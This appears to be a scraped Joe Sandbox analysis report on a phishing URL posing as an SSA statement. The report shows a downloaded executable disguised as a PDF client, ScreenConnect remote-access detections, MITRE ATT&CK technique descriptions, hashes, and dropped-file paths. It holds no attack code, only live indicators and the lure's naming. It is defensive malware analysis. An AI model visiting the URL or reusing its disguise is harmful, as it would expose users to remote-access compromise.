File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:00:21
Start date:	22/11/2024
Path:	C:\Users\user\Downloads\performance_metrics-pdf.Client.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Downloads\performance_metrics-pdf.Client.exe"
Imagebase:	0x20000
File size:	83'280 bytes
MD5 hash:	23B44C9F64A248BE4F01A1BFD1FE0686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:00:21
Start date:	22/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Imagebase:	0x29699e30000
File size:	24'856 bytes
MD5 hash:	B4088F44B80D363902E11F897A7BAC09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	17:00:22
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 748
Imagebase:	0x7a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFEB8AE15DD Relevance: 1.8, APIs: 1, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateUrlCacheEntryW.WININET ref: 00007FFEB8B2A643

Memory Dump Source

Source File: 0000000D.00000002.2417416712.00007FFEB8AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb8ae0000_dfsvc.jbxd

Similarity

API ID: CacheCreateEntry
String ID:
API String ID: 3741994674-0
Opcode ID: c0b8bbe8c740f9377046de3134a425a9119b07dac294884d62286e50a1751ebe
Instruction ID: c344ccd59dd60c38283c322eb929afaf24f678041db3bf3519643369ae054917
Opcode Fuzzy Hash: c0b8bbe8c740f9377046de3134a425a9119b07dac294884d62286e50a1751ebe
Instruction Fuzzy Hash: 56816F70518A4D8FEBA8DF2CD8857F977D1FF58311F00822AE84DC72A1DB74A9468B81

Function 00007FFEB8AE148D Relevance: 1.6, APIs: 1, Instructions: 103
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFEB8AE1827

Memory Dump Source

Source File: 0000000D.00000002.2417416712.00007FFEB8AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb8ae0000_dfsvc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bcc114f8da92f74fefcecd5862524f78046248a02c23b1986fcfac637a06800b
Instruction ID: 1e5548a1ea902bf20beea3d0534e1db831f43d015aee7e88cd7c5d21d8a329a2
Opcode Fuzzy Hash: bcc114f8da92f74fefcecd5862524f78046248a02c23b1986fcfac637a06800b
Instruction Fuzzy Hash: C5318E31908A1C9FDB58DB5CD449AF9BBE0FB69321F10822ED00ED3652DB70A806CB81

Function 00007FFEB8AE15AD Relevance: 1.6, APIs: 1, Instructions: 103
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFEB8AE1827

Memory Dump Source

Source File: 0000000D.00000002.2417416712.00007FFEB8AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb8ae0000_dfsvc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bcc114f8da92f74fefcecd5862524f78046248a02c23b1986fcfac637a06800b
Instruction ID: 1e5548a1ea902bf20beea3d0534e1db831f43d015aee7e88cd7c5d21d8a329a2
Opcode Fuzzy Hash: bcc114f8da92f74fefcecd5862524f78046248a02c23b1986fcfac637a06800b
Instruction Fuzzy Hash: C5318E31908A1C9FDB58DB5CD449AF9BBE0FB69321F10822ED00ED3652DB70A806CB81

Function 00007FFEB8AE179F Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFEB8AE1827

Memory Dump Source

Source File: 0000000D.00000002.2417416712.00007FFEB8AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb8ae0000_dfsvc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 93194bbfb1583f0dcdbac70d0de23d172ee4d9607f0c3075bd88d1abd4344f7b
Instruction ID: 8e9159ba6212bb51fde95d6aa1ae51d2908ab5526b6036e556df4213d4887c87
Opcode Fuzzy Hash: 93194bbfb1583f0dcdbac70d0de23d172ee4d9607f0c3075bd88d1abd4344f7b
Instruction Fuzzy Hash: 31215E31908A1C9FDB58DB5CD849AE9BBE1FB69321F14822FD04DD3652DB70A816CB81

Function 00007FFEB8AE9AA7 Relevance: 1.6, APIs: 1, Instructions: 82
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FFEB8AE9B1C

Memory Dump Source

Source File: 0000000D.00000002.2417416712.00007FFEB8AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb8ae0000_dfsvc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2140f7f9a2ce01856cf73f4d6d0c9e51202d72aab3dfba92d0b08d5e92117bbb
Instruction ID: e0f9d8443a06b2e950a1060c1ea15bb9c6fe8ac39bcb7e18c32d004d6445581e
Opcode Fuzzy Hash: 2140f7f9a2ce01856cf73f4d6d0c9e51202d72aab3dfba92d0b08d5e92117bbb
Instruction Fuzzy Hash: 6B219D3190CB588FDB58DF1CA445BA9BBE0FB59324F14829EE04DD3252C735A851CB85

Function 00007FFEB8AE1754 Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2417416712.00007FFEB8AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb8ae0000_dfsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d54c97df11592cbfb58e5ed4d1a3c502bcbc7d73eac8e9b6be3b6b892a0caee
Instruction ID: 0d67a0c30e7e26fe57f5d4b8e12b763c6d0120549f226da1240ac4c2453e3021
Opcode Fuzzy Hash: 0d54c97df11592cbfb58e5ed4d1a3c502bcbc7d73eac8e9b6be3b6b892a0caee
Instruction Fuzzy Hash: FF219531A0CA498FDB55DB6CD445BA8BBE0EF56321F14837AD04DC7652DB38A407CB81

Function 00007FFEB89CEF37 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2416932242.00007FFEB89CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB89CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffeb89cd000_dfsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 266920eb2a6107a46ac40e4b91901f26e55636c56cc222247a1ccdb67e6ef5df
Instruction ID: 6760398f90f2e133ac3d627196505cd0891a35174b32dcf8b8069d7e9a955495
Opcode Fuzzy Hash: 266920eb2a6107a46ac40e4b91901f26e55636c56cc222247a1ccdb67e6ef5df
Instruction Fuzzy Hash: C6115E3150CF488F9BA8EF2DE48595677E0FB98321B10065FD44DC7265D731E896CB82

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://identitys.fraudguard.es/SSA_Updated_Statement

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_performance_metr_d9def8d8d1f790199d97fd48318a43e6e741633b_122ee48b_1f82610a-44a1-47b9-ba04-9f5b3bea12af\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F4F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER602B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER604B.tmp.xml

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C56C4404C4DEF0DC88E5FCD9F09CB2F1

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

Windows Analysis Report
https://identitys.fraudguard.es/SSA_Updated_Statement